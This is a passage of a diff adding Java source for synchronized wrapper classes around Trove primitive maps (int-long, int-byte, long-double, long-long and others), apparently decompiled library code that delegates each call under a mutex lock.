+    public long put(int key, long value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public long remove(int key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Integer, ? extends Long> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TIntLongMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedIntSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public int[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public int[] keys(int[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TLongCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedLongCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public long[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public long[] values(long[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntLongIterator iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public long putIfAbsent(int key, long value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TIntProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TLongProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntLongProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TIntLongProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(int key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(int key, long amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public long adjustOrPutValue(int key, long adjust_amount, long put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntByteMap
+    implements gnu.trove.map.TIntByteMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TIntByteMap m;
+    final Object mutex;
+    
+    public TSynchronizedIntByteMap(gnu.trove.map.TIntByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntByteMap(gnu.trove.map.TIntByteMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(int key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(byte value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public byte get(int key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public byte put(int key, byte value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public byte remove(int key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Integer, ? extends Byte> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TIntByteMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TByteCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedIntSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public int[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public int[] keys(int[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TByteCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedByteCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public byte[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public byte[] values(byte[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntByteIterator iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public byte getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public byte putIfAbsent(int key, byte value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TIntProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TByteProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntByteProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TByteFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TIntByteProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(int key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(int key, byte amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public byte adjustOrPutValue(int key, byte adjust_amount, byte put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntShortMap
+    implements gnu.trove.map.TIntShortMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TIntShortMap m;
+    final Object mutex;
+    
+    public TSynchronizedIntShortMap(gnu.trove.map.TIntShortMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntShortMap(gnu.trove.map.TIntShortMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(int key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(short value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public short get(int key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public short put(int key, short value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public short remove(int key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Integer, ? extends Short> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TIntShortMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TShortCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedIntSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public int[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public int[] keys(int[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TShortCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedShortCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public short[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public short[] values(short[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntShortIterator iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public short getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public short putIfAbsent(int key, short value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TIntProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TShortProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntShortProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TShortFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TIntShortProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(int key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(int key, short amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public short adjustOrPutValue(int key, short adjust_amount, short put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntCharMap
+    implements TIntCharMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TIntCharMap m;
+    final Object mutex;
+    
+    public TSynchronizedIntCharMap(TIntCharMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntCharMap(TIntCharMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(int key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(char value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public char get(int key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public char put(int key, char value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public char remove(int key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Integer, ? extends Character> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TIntCharMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TIntSet keySet = null;
+    private transient TCharCollection values = null;
+    
+    public gnu.trove.set.TIntSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedIntSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public int[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public int[] keys(int[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TCharCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedCharCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public char[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public char[] values(char[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TIntCharIterator iterator() { return m.iterator(); }
+    
+
+
+    public int getNoEntryKey() { return m.getNoEntryKey(); }
+    public char getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public char putIfAbsent(int key, char value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TIntProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TCharProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TIntCharProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TCharFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TIntCharProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(int key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(int key, char amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public char adjustOrPutValue(int key, char adjust_amount, char put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongDoubleMap
+    implements gnu.trove.map.TLongDoubleMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TLongDoubleMap m;
+    final Object mutex;
+    
+    public TSynchronizedLongDoubleMap(gnu.trove.map.TLongDoubleMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongDoubleMap(gnu.trove.map.TLongDoubleMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(long key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(double value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public double get(long key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public double put(long key, double value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public double remove(long key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Long, ? extends Double> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TLongDoubleMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TDoubleCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedLongSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public long[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public long[] keys(long[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TDoubleCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedDoubleCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public double[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public double[] values(double[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongDoubleIterator iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public double getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public double putIfAbsent(long key, double value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TLongProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TDoubleProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongDoubleProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TDoubleFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TLongDoubleProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(long key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(long key, double amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public double adjustOrPutValue(long key, double adjust_amount, double put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongFloatMap
+    implements gnu.trove.map.TLongFloatMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final gnu.trove.map.TLongFloatMap m;
+    final Object mutex;
+    
+    public TSynchronizedLongFloatMap(gnu.trove.map.TLongFloatMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongFloatMap(gnu.trove.map.TLongFloatMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(long key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(float value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public float get(long key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public float put(long key, float value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public float remove(long key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Long, ? extends Float> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(gnu.trove.map.TLongFloatMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TFloatCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedLongSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public long[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public long[] keys(long[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TFloatCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedFloatCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public float[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public float[] values(float[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongFloatIterator iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public float getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public float putIfAbsent(long key, float value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TLongProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TFloatProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongFloatProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TFloatFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TLongFloatProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(long key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(long key, float amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public float adjustOrPutValue(long key, float adjust_amount, float put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongIntMap
+    implements TLongIntMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TLongIntMap m;
+    final Object mutex;
+    
+    public TSynchronizedLongIntMap(TLongIntMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongIntMap(TLongIntMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(long key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(int value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public int get(long key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public int put(long key, int value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public int remove(long key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Long, ? extends Integer> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TLongIntMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TIntCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedLongSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public long[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public long[] keys(long[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TIntCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedIntCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public int[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public int[] values(int[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongIntIterator iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public int getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public int putIfAbsent(long key, int value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TLongProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TIntProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongIntProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TIntFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TLongIntProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(long key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(long key, int amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public int adjustOrPutValue(long key, int adjust_amount, int put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongLongMap
+    implements TLongLongMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TLongLongMap m;
+    final Object mutex;
+    
+    public TSynchronizedLongLongMap(TLongLongMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongLongMap(TLongLongMap m, Object mutex) {
+      this.m = m;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return m.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return m.isEmpty();
+      } }
+    
+    public boolean containsKey(long key) { synchronized (mutex) { return m.containsKey(key);
+      } }
+    
+    public boolean containsValue(long value) { synchronized (mutex) { return m.containsValue(value);
+      } }
+    
+    public long get(long key) { synchronized (mutex) { return m.get(key);
+      }
+    }
+    
+    public long put(long key, long value) { synchronized (mutex) { return m.put(key, value);
+      } }
+    
+    public long remove(long key) { synchronized (mutex) { return m.remove(key);
+      } }
+    
+    public void putAll(Map<? extends Long, ? extends Long> map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void putAll(TLongLongMap map) { synchronized (mutex) { m.putAll(map);
+      } }
+    
+    public void clear() { synchronized (mutex) { m.clear();
+      } }
+    
+    private transient gnu.trove.set.TLongSet keySet = null;
+    private transient TLongCollection values = null;
+    
+    public gnu.trove.set.TLongSet keySet() {
+      synchronized (mutex) {
+        if (keySet == null)
+          keySet = new TSynchronizedCollections.TSynchronizedLongSet(m.keySet(), mutex);
+        return keySet;
+      }
+    }
+    
+    public long[] keys() { synchronized (mutex) { return m.keys();
+      } }
+    
+    public long[] keys(long[] array) { synchronized (mutex) { return m.keys(array);
+      }
+    }
+    
+    public TLongCollection valueCollection() { synchronized (mutex) {
+        if (values == null)
+          values = new TSynchronizedCollections.TSynchronizedLongCollection(m.valueCollection(), mutex);
+        return values;
+      }
+    }
+    
+    public long[] values() { synchronized (mutex) { return m.values();
+      } }
+    
+    public long[] values(long[] array) { synchronized (mutex) { return m.values(array);
+      }
+    }
+    
+    public gnu.trove.iterator.TLongLongIterator iterator() { return m.iterator(); }
+    
+
+
+    public long getNoEntryKey() { return m.getNoEntryKey(); }
+    public long getNoEntryValue() { return m.getNoEntryValue(); }
+    
+    public long putIfAbsent(long key, long value) {
+      synchronized (mutex) { return m.putIfAbsent(key, value);
+      } }
+    
+    public boolean forEachKey(TLongProcedure procedure) { synchronized (mutex) { return m.forEachKey(procedure);
+      } }
+    
+    public boolean forEachValue(TLongProcedure procedure) { synchronized (mutex) { return m.forEachValue(procedure);
+      } }
+    
+    public boolean forEachEntry(gnu.trove.procedure.TLongLongProcedure procedure) { synchronized (mutex) { return m.forEachEntry(procedure);
+      } }
+    
+    public void transformValues(gnu.trove.function.TLongFunction function) { synchronized (mutex) { m.transformValues(function);
+      } }
+    
+    public boolean retainEntries(gnu.trove.procedure.TLongLongProcedure procedure) { synchronized (mutex) { return m.retainEntries(procedure);
+      } }
+    
+    public boolean increment(long key) { synchronized (mutex) { return m.increment(key);
+      } }
+    
+    public boolean adjustValue(long key, long amount) { synchronized (mutex) { return m.adjustValue(key, amount);
+      } }
+    
+    public long adjustOrPutValue(long key, long adjust_amount, long put_amount) { synchronized (mutex) { return m.adjustOrPutValue(key, adjust_amount, put_amount);
+      }
+    }
+    
+    public boolean equals(Object o) { synchronized (mutex) { return m.equals(o);
+      } }
+    
+    public int hashCode() { synchronized (mutex) { return m.hashCode();
+      } }
+    
+    public String toString() { synchronized (mutex) { return m.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedLongByteMap
+    implements TLongByteMap, Serializable
+  {
+    private static final long serialVersionUID = 1978198479659022715L;
+    
+    private final TLongByteMap m;
+    final Object mutex;
+    
+    public TSynchronizedLongByteMap(TLongByteMap m)
+    {
+      if (m == null)
+        throw new NullPointerException();
+      this.m = m;
+      mutex = this;
+    }
+    
+    public TSynchronizedLongByteMap(TLongByteMap m, Object mutex) {
